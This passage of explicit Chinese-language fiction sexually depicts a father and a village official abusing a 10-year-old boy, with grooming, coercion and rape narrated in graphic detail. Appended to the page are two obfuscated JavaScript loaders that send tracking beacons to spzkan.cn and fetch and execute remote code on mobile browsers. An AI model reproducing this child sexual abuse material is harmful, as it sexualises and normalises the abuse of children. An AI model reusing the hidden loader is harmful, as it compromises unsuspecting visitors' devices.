“真的,爹。有几次早上起炕时,俺看到二哥的牛子那儿湿湿的、粘粘的, 俺当时还以为二哥尿炕了呢。俺又怕挨二哥的揍,所以就没告诉你。”小豹也看 出他爹不相信他的话,便急忙辩白着,全然没理会他大哥不断递来的眼色。

“爹,你别听小弟乱说……”不知为何,大龙想否定小豹的话,可他刚说了 几句,却被赵老实挥了挥手,给打断了。

赵老实现在觉得脑袋里乱极了,急需冷静一下,所以他实在没心情去听大龙 的话,他现在要做的是马上到屋外唿吸一下新鲜空气。于是,赵老实连忙提起裤 子,扎好裤带,走出了屋子。

刚走出屋子,一阵寒风迎面吹来,使得赵老实打了一个哆嗦。可惜,寒风虽 冷,却依然无法平复赵老实涌动的内心,因为,此时赵老实的脑海中正不断的回 味着小豹的话。

“二虎的牛子比大龙的还大,这真是让人无法相信。如果说二虎已经14、 5岁了,那还有后来居上的可能,可现在他还只有10岁,过了年也才11,压 根还没到长牛子的年纪,而且居然还有浆子了……真他吗妈邪门,”赵老实蹲在 院子里,一边抽着旱烟,一边胡思乱想着,“可小豹这娃子也没理由骗俺,难不 成……唉,也怪自己,前些时候光恋着大龙了,没注意另两个小子……恩,不如 晚上证实一下……”想到着,赵老实的下面又有了反应了,于是,他站起身,再 次进了屋……

冬天的白天总是过的很快,可赵老实却觉的今天的时间过的特别慢。当二虎 放完羊回家后,赵老实就开始变的心不在焉了,一双眼睛老盯着二虎看。如此火 辣的目光,二虎自然是感受到了,只是没放在心上(也是,老子看儿子是再正常 不过的事了)。

终于,睡觉的时候到了,赵老实感到自己的心跳突然加快了,喉咙也变的有 些火辣辣的,赵老实很奇怪,自己会这样魂不守舍?不就是看一下儿子的牛子, 至于这样吗?儿子长这么大,又不是没被自己看过,打他出娘胎就开始看了……

正当赵老实胡思乱想时,二虎已经开始脱衣服了,赵老实连忙把自己的思绪 拉了回来,双眼再度直勾勾的盯着二虎。

“这……这……这娃子脱衣服咋这么慢?脱了半天才解开几个衣扣,动作太 慢了……噢,总算把衣服给脱了,咂咂咂,想不到二虎这娃儿比他哥小两岁,可 身子一点都不比他哥差,黑黑亮亮的皮肤、厚实的小胸膛,想不到这娃儿放了大 半年羊,身子倒壮实了……哦,对了,俺是要看一下这娃子的小牛子,咋想到别 的地方去了?快,快脱裤子啊。恩,开始解裤带了,快点,再快点,好,终于把 裤子脱下来了。啊呀!别弯腰啊,这一弯腰可就啥也看不到了……对,对,身子 直起来,这就对了。啊!想不到这娃儿的牛子居然这么大,才10岁,过了年也 才11,竟然已经和14、5岁的半大小子有得一拼了,小豹说的果然没错,真 是不可思仪……该死,这油灯的灯光也太昏暗了,看都看不太清,恩,再近点看, 再近点……”

二虎刚弯腰把裤子从脚踝处退出来,一直起身子就看到他爹不知什么时候已 经站在他跟前了,双眼更是直勾勾的盯着他的牛子看。突然,赵老实把双手放在 二虎的小屁股上,还没等二虎反应过来就猛的往前一按,,二虎的小牛子,连同 两颗肉蛋子就这样猝不及防的被赵老实含到了嘴里……

赵老实此时心里说不出来个所以来,原本只想看看而已,并不想再做出什么 出格的事来。毕竟,大龙和小豹已经被自己“带坏”了,心里的罪恶感着实不小, 所以实在不想把二虎也拖下水,可到最后还是把持不住,做出了这种事……算了, 反正做也做了,三个娃子都“下水”了,以后倒也不用再遮遮掩掩了……想到这 儿,赵老实也就没什么顾忌了,嘴开始吞吐起来了。

二虎的牛子在赵老实的吮吸下开始漫漫变粗变硬了。原本二虎的牛子就大, 而赵老实的嘴也只是正常人的大小,因此,在二虎的牛子“雄起”后,赵老实的 嘴便有些撑不住了,不得已,只好将二虎的两颗肥嘟嘟的肉蛋子吐了出来。赵老 实在吮吸二虎牛子的同时,双手也不停的揉搓着二虎的屁股蛋子。二虎的屁股蛋 子要比小豹有肉多了,但和大龙的也有所不同。大龙的屁股蛋子虽然由于常干农 活而滚圆滚圆的,象两座小山丘似的饱满,但也正由于常干农活,皮肤糙糙的, 摸上去不怎么舒服,而二虎的屁股蛋子虽没有大龙那么结实,但摸上去滑滑的, 按上去肉肉的,手感好极了。

赵老实一边揉搓着二虎的屁股蛋子,一边继续不停的吮吸着二虎的牛子。突 然,着二虎的牛子毫无征兆的在赵老实嘴里一阵乱颤,射出他童男的精华。赵老 实虽然吸了大龙无数次,今儿个白天又吸了小豹,但这两个娃子都还没有浆子, 因此,赵老实对于二虎的突然射精毫无思想准备,以至于被呛得连连咳嗽。

二虎木然的看着他爹对他所做的一切,在整个过程中一动也不动,似乎对种 事已是见怪不怪了。直到他爹涨红着脸,不停的咳嗽着吐出他那由于已经射精而 疲软下来的小牛子后,才怯怯的问:“爹,你没事吧?”

赵老实此时涨红了脸,半弯着腰,用手捂着嘴连连咳嗽,一时半会儿缓不过 劲来。赵老实觉得自己的喉咙口好象拈了什么东西似的,味道腥腥的,想吐又怎 么也吐不出来,想咽下去,又觉得埋汰,以至于弄了个进退两难。终于,赵老实 在实在无法吐出那粘在喉咙里的东西,而不得不咽下去后,咳嗽才慢慢停了下来。 赵老实涨红着脸,捂着嘴回答道:“咳……爹没事……咳……”嘴上说没事,可 那样子却着实狼狈。

“喔,没事就好。爹,你咋和大大一样,都喜欢玩俺的牛子啊?你们大人的 喜好还真怪。”

“?????”正所谓言者无心,听者有意,赵老实一听二虎的话,顿时呆 立当场。“虎……虎啊,你……你刚才说什么?”

“俺是说,你和大大咋一样,都喜欢玩俺的牛子,咋了?爹?”

“哪……哪个大大?”

“就是,就是俺村里的支书大大啊。”

这话对赵老实而言,等同如晴天霹雳。赵老实一把抓住二虎的肩膀,用几乎 变了调的声音喝问:“你快说,支书是咋玩你的?还玩了你哪儿?”

“啊!爹,你抓得俺好痛!”

“那快说,支书是咋玩你的?还玩了你哪儿?”

“爹,俺说,啊!你先放手啊,好痛……”

赵老实见二虎得确被自己抓痛了,便放开了双手。但是,二虎接下去的述说 却使赵老实犹如掉进了万丈深渊……

这事得从大半年前说起,当时赵老实刚死了婆娘,家徒四壁,村里为了照顾 赵老实一家,就然二虎替村里放羊,一天下来也可以赚半个工分,从而大大减轻 了赵老实一家的经济负担。然而,在二虎才放了一个星期的羊,不幸就降临到了 他的身上……

那天,二虎象往常一样,啃完红薯干后赶往村生产大队所在的屋子报道。当 二虎进屋时,看到队长正和支书聊天聊的热乎呢,似乎压根就没看到二虎。二虎 想打报告,可性格内向、懦弱的他见队长和支书聊的正欢,便不好意思,也不敢 打断队长和支书的聊天,只得乖乖的一个人站在旁边,等这两位“大人物”过完 嘴瘾。

终于,队长看到了站在一边的二虎,就笑着说:“呦,二虎,来啦,等多久 了?”边说边从抽屉里拿出一个小本本,让二虎在小本本上画个勾,以表示二虎 今天来放羊了。当二虎在画勾时,坐在队长旁边的支书开口说话了:“小李啊, 这娃子就老实的二小子吗?”

“是啊,支书,这娃子命苦啊,才10岁就没了娘,老实要拉扯他们兄弟三 个,也够呛的,所以俺就让这娃子来大队里帮忙放羊。”队长如实回答道。

“噢,老实家的事俺也知道,对了,那这娃儿放一天羊有多少工分啊?”

“说实在,不多,也就半个工分。”

“半个?不行,不行,这也太少了,起码要给一个工分。”

“支书啊,那你可让俺为难了,要知道,干啥活给多少工分,这可都是有文 件规定的,俺要是多给了,别人怎么看?俺这队长的工作可就不好开展了。”

“这倒也是,恩,有了,从今儿个起,这娃儿中午就到俺家吃饭,给你们大 队省掉一顿饭,把这顿饭折成半个工分给孩子加上,你看,这样总行了吧?”

“这样啊?可以,当然可以,哎,二虎,你还傻楞着干什么啊?还不快谢过 支书。”

二虎站在旁边听的真切,虽然他性格内向、懦弱,可他并不笨,他知道从今 儿个起,他可以拿一个工分,家里的日子可好过许多了,而这一切都是托支书的 福,所以他打心底里感激支书。“谢谢……谢谢支书……”

支书却大手一挥,打断了二虎的道谢,“别介,这没啥好谢的,还有,以后 别老‘支书’、‘支书’的,听着怪生分的。恩,以后就叫俺大大吧。今天中午 大大给你做好吃的”

“是支……噢,大大。”二虎觉得自己的眼泪快要出来了。

就这样,从这天起,二虎的中饭由支书包了。而支书也的确很照顾二虎,每 天的中饭不可谓不丰盛,譬如什么红烧肉、炒猪腰子、白切羊肾、炸麻球(其实 也就是油炸猪、牛、羊等家畜的卵蛋)等等,尽是荤菜,要知道,自从赵老实的 婆娘病后,赵老实一家就没沾过半点荤腥,因此,对于二虎来说,支书的中饭实 在是太过丰盛了。第一次到支书家吃饭时,二虎看着这满桌的饭菜,楞是吓得不 敢下筷子,倒是支书,笑眯眯的让二虎放开肚子吃个饱,还说什幺小孩子吃不饱 的话就长不大。这令二虎对这位支书“大大”更是感激不已。

唯一令二虎有些尴尬的是,支书“大大”总喜欢和他唠嗑。当然,如果只是 纯粹的唠嗑那也没什么,问题是,这唠嗑的内容实在是……这么说吧,支书“大 大”总喜欢对二虎说些个男人与男人之间的荤段子。有些荤段子,二虎听了倒没 啥感觉,可有些,二虎听了就觉得有一种说不出的感觉,两腿间那尿尿的小东西 更会莫名其妙的“不老实”起来。而支书“大大”有时也会突然伸过手来抓住二 虎的下身,嘻嘻笑着说:“牛牛咋挺得像根竹笋啊?”这时,二虎一下子羞了。

如果仅此而已,也没什么大不了的。可自从听了支书“大大”说的荤段子后, 虽然对这些荤段子是一知半解,但二虎每天晚上都会做许多奇怪的梦,梦的内容 大都是和支书“大大”说的荤段子有关,而做这些梦的时候,二虎觉得下腹涨涨 的,尿尿的小牛子老是翘得高高的。

一个月后的某天晚上,二虎和往常一样做着这种令他舒服的梦,突然他感到 一种莫明的电流汇集到自己的下身,不,准确的说是汇集到了因做怪梦而翘的高 高的小牛子上,并且似乎马上要从小牛子里冲出来了。二虎急忙用手抓住自己的 小牛子,试图阻止,可当他的手刚触到自己的小牛子,那股力量就从小牛子里冲 了出来。在冲出的一刹那,二虎感受到了那一瞬间的舒服、爽快,那是他从来不 曾有过的,整个人犹如虚脱了一般……

但二虎并没有沉浸在这种快感中,而是陷入了深深的畏惧感中。当他的小手 摸到小牛牛时,感到小牛牛上湿溽溽的、黏煳煳的,脑中便立马闪过一个念头: “坏了,尿炕了。”

这个念头让二虎臊得恨不得挖个地洞钻进去,10岁大的男娃子居然还尿炕, 这要让爹知道了,非把自己的屁股蛋子打成四瓣不可,要让外人,尤其是一起玩 的小伙伴们知道了,非笑掉大牙不可,8岁的小豹都早不尿炕了,自己这个做哥 哥的反而还……呀,光想就臊死人了,不行,绝不能让人知道。于是,二虎决定 用自己的体温来烘干刚才“尿”湿的地方。

第二天早上,二虎故意起的比较晚,等他爹、大哥和弟弟都起来后,才慢吞 吞的起炕。起炕时,偷偷检查了一下自己睡得地方。还好,没啥痕迹,恩,看来 是烘干了。

之后的几天里,二虎隔三岔五的要“尿”一次炕,这使二虎很是害怕,以为 自己得病了,虽然“尿炕”的一瞬间很舒服,而且第二天起炕时,也能把“尿” 湿的地方烘干,但这样下去总不是个事儿,谁敢保证以后不会被人发现(其实, 早被小豹发现了)?同时,二虎也发现自己的小牛子变大了许多,不但比弟弟小 豹的大,连哥哥大龙的也比他小,就差没赶上爹了。二虎不知道这是咋回事,只 是潜意识以为这不是啥好事,又不敢问别人(当然,也羞于问),只得把问题闷 在肚子里,以至于在放羊时,老是魂不守舍。

于是,大麻烦来了!

那是一个天气不错的日子,只是太阳毒了点,二虎虽然只穿了件坦胸的小布 褂衫,头上扎了条羊角巾,可到中午时,还是被晒得满头大汗。二虎也感到肚子 已经在大闹空城计了,是该到支书家吃中饭去了,便一甩羊鞭,赶着羊群下了小 土坡。在去支书家的路上,二虎百无聊赖的数起了羊,这是他的习惯了,一来是 怕丢了羊,二来用以打发时间。不过,二虎放羊到现在,从没出过岔子,所以, 他在数羊时,打发时间的成分居多。

1、2、3……38,39。恩?39?明明应该是40只羊,怎么刚才只 数到39?二虎一便数下来,猛然发现羊少了一只。顿时,二虎又出了一身汗, 只是刚才出的是热汗,而现在出的则是冷汗!“不……不会的,一定是数错了。” 二虎心存侥幸的想。然而,当他连数三遍后,这一丝侥幸也破灭了,羊的的确确 少了一只。

“怎么会……怎么会少了一只?”二虎急得快哭出来了,他知道,羊虽然只 少了一只,但后果是极其严重的,这放羊的差事肯定是黄了,弄不好还会要他赔 呢,就算村里看在他家里穷的叮当响的份上,不让他家赔了,但放羊的差事黄掉, 也无疑是雪上加霜的事。更何况,爹也是个要脸面的人……

正当二虎急的团团转,不知该如何是好时,村支书不知从哪里冒了出来, “俺说二虎啊,都啥时候了,咋还不来大大家吃饭啊?咦?咋哭了?出啥事了? 跟大大说说。”

“大大,俺……俺丢羊了。”二虎此时也没辄了,只得哭着把实情说了出来。

“啥?丢羊了?这事可不小啊……好了,别哭了,这羊丢了也是没辄的事, 可也不能把自个儿给饿着了,走,先到大大家吃饭去。”

……

支书家的中饭还是一如既往的丰盛,可二虎此时却一点也吃不下,坐在饭桌 旁抽泣着,一副失神落魄的样子。而支书则坐在二虎身边,无言的看着二虎。

“其实……”终于,支书开口打破了沉默,“这事可大可小,只要俺跟村里 打声招唿,这事可以当没发生过。”

“真的吗?大大?”二虎闻言,顿时如溺水者抓住了救命稻草,重新看到了 希望,“好大大,那求求你,帮帮俺吧。”

“可是,……”支书却又露出了为难的神色,“娃啊,要知道,大大身为支 书,做什么事都不能徇私啊,更何况,你跟大大非亲非故的,所以,这口,大大 可不好开啊。”

“好大大,求求你了,一定要帮俺啊,要是连您都不帮俺,那俺就……”二 虎一听支书不肯帮他,刚升起的希望又破灭了。可他不甘心,便立马跪倒在支书 面前,希望能以此来打动支书。

“哎,这是干啥啊?快起来,快起来。”

“大大,你要是不答应帮俺,俺就不起来。”

“……好吧,那大大就帮你这一次。不过,你得答应大大几个条件,你要答 应了,大大不光这次帮你,以后你要再出啥事,大大一样帮你挡着,你要不答应, 那大大连这次都不会帮你。”

“大大,你快说,是啥条件?无论啥条件俺都答应。”

“其实也就一个条件,就是你以后得听大大的,大大要你干啥就干啥,这能 答应吗?”

“能,俺答应。”二虎觉的这条件并不过分,便好不犹豫的答应下来了。

“那好,大大先试试你,看你是不是真的能说到做到。”支书此时已是满脸 笑开花了,“来,把你身上的衣服脱了。”

二虎立刻把小布褂衫脱了(反正也觉得很热,脱了凉快点),然后光着上身, 等支书发话。

“干嘛停下,不是说了吗,把衣服脱了,裤子,怎么不脱了?”

“啊?”二虎一下子没反应过来,他没想到支书居然还要他脱裤子,顿时臊 的当场傻楞住了。

“怎么?不愿意?”支书的脸顿时晴转阴,“刚才还答应的很利索,怎么转 眼就……”

在支书阴冷的话语中,二虎回过了神。虽然有些不情愿和害臊,但还是脱起 了裤子,不就是光屁股吗,又不是没光过,再说,现在对支书,可得百依百顺。

很快,二虎就脱得一丝不挂,看到支书正直沟沟的盯着他胯间看,连忙臊的 抵下头,用双手捂住自己的小牛子。最令他想不到的是,他的身体居然会被注视 得渐渐有了异样的反应,小牛子慢慢硬了起来。

支书示意二虎爬上炕,二虎只得赤条条地躺在炕上,但双手依然死死的捂住 自己的小牛子。支书走到二虎跟前,拿开了二虎挡着小牛子的手后,一边用手摸 着二虎半硬着的小牛子,一边自言自语道:“咂,咂,咂……想不到这么个小屁 孩的牛子居然这么大,也不枉老子每天给他吃好的……”说着,就一口把二虎那 黑不熘秋的小牛子含了进去。

“啊……”二虎顿时感到一种异样的感觉从自己的小牛子上扩散到全身,自 己的小牛子在支书的嘴里胀的越来越粗,越来越长。突然,二虎感到晚上“尿炕” 时的那种感觉又来了,不由的又怕又臊,便叫道:“大大,快……快停下,俺 ……俺要尿尿了……”可支书双手搂着二虎的光腚蛋子,继续使劲的裹着二虎的 小牛子,丝毫没有要停的意思,二虎只得拼命忍着。可终究忍不了多时,一股热 流从他那高高撅起的牛子里喷了出来。

支书吐出了二虎的牛子,二虎看到有乳白色的东西正从自己的小牛子里面流 出来,二虎不明白这是什么东西。随后支书一把二虎的大腿扒开、抬高,并让二 虎自己抱住膝盖,从而使二虎的小屁眼完全暴露在面前。二虎对于这个姿势感到 很吃力,但也只得照做。

支书摸了摸二虎的小屁眼后,猛的把一个手指头扣进二虎的小屁眼里,疼的 二虎差点散了架。“别动,保持住这姿势,不然……”支书威胁道。二虎只得忍 痛保持住那屈辱的姿势,并哀求道:“好大大,别再扣了,放了俺吧,俺快痛死 了。”支书不但没往外拿手指头反而将整个的手指都插进了二虎的小屁眼里,并 来回抽动着,接着,又插进第二根、第三根……

正当二虎痛得快忍不住时,支书突然把手指都从二虎的小屁眼里拔了出来。 二虎顿时松了口气,以为就这样结束了,但抬头看见支书“大大”正在脱裤子, 不由的有些奇怪,这是要干啥啊?

当支书光着下身,挺着雄赳赳的牛子站在炕前时,二虎的脑海中突然闪现出 以前支书对他讲的那些荤段子,难道大大他要,“啊……痛……”没等二虎想完, 支书的牛子便硬闯进了他的小屁眼里,犹如一把杀猪刀在狠狠的剐着……

不知过了多久,支书才心满意足的从快要背过气去的二虎身上爬了下来。二 虎觉的自己的小屁眼火辣辣的疼,便伸手摸了摸,结果除了摸了一手粘粘的液体 外,还发现自己的小屁眼被支书整得几乎大了一圈,就好象张着的嘴巴,而且由 于疼痛,竟然一时闭不上了,心里不由的想:“这下坏了,待会儿走路时,还不 往外掉大便啊。”

支书此时心满意足的对二虎说:“不错,,你小子还真听话,你的事,大大 就替你当了,不过从今儿个起,你得每天这样孝敬大大。还有,这事儿你不许对 任何人讲,懂了吗?要是你哪天做不到了,哼、哼,那可别怪大大……”

“噢,俺懂了。”二虎虽然性格内向、懦弱,可他并不笨,他知道支书最后 没说的那句话是什么意思,但他没得选择,只有答应的份。

就这样,从这天之后,二虎每天中午到支书家吃饭时,都要好好“孝敬”一 番支书。

10

当二虎怯怯的讲完他的“血泪史”时,赵老实早已是整张脸都变绿了。赵老 实怎么也没想到,为了缓解家里的经济困难,让二虎去放羊,却让支书那个衣冠 禽兽占了如此大的便宜,真是知人知面不知心啊。此时,赵老实怒火中烧,恨不 得把支书狠揍一顿,虽然自己也对大龙干了如此龌龊的事,可赵老实潜意识里认 为老子玩儿子是因为儿子是自己的,你支书凭什么玩俺的儿子?这和偷人家老婆, 给人家戴绿帽子的性质是一样的。赵老实也终于明白二虎的牛子为啥会长这么大 了,奶奶的,整天吃那种“养人”的东西能不大吗?难怪二虎有段日子走路时老 一瘸一拐的,当时还以为是扭到脚了,没放在心上,现在想来,完全是被整的。 奶奶的,你支书也太欺负人了,俺不找你好好算算这笔帐,俺就不是个男人。于 是,赵老实黑着脸对三个儿子说:“你们先睡,爹有点事出去一下。”说完,便 摔门而去,他已经等不到第二天了。

赵老实的家在村子的北边,而支书家则在南边,因此赵老实要穿过整个村子 才能到达支书家。好在村子并不大,没一会儿,赵老实就到支书家了。支书家此 时灯火通明,看来还没睡下。于是,赵老实跑进院子狠命的砸起门来。(大西北 农村民风淳朴,一般院子的门都不上锁,外人可以随意出入)

“谁啊?”支书很不耐烦的声音从房子里飘了出来。

“是俺,老实,支书,俺有是急事找你。”赵老实尽量克制着自己的怒火, 回答道。

“哦,是老实啊,这么晚了有啥事啊?能不能明早再说啊,俺都睡下了。” 支书的声音显得更不耐烦了。

睡下了?你这骗谁啊?老畜生!赵老实心里暗骂道。于是砸门砸的更响了, “不行啊,支书。这事非得现在就说。”

“好了,好了,俺知道了,这就来开门,哎呦,别砸了,门都快被你砸坏了。”


上一篇:我的母亲和我的学校

下一篇:丈夫科长的换妻


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};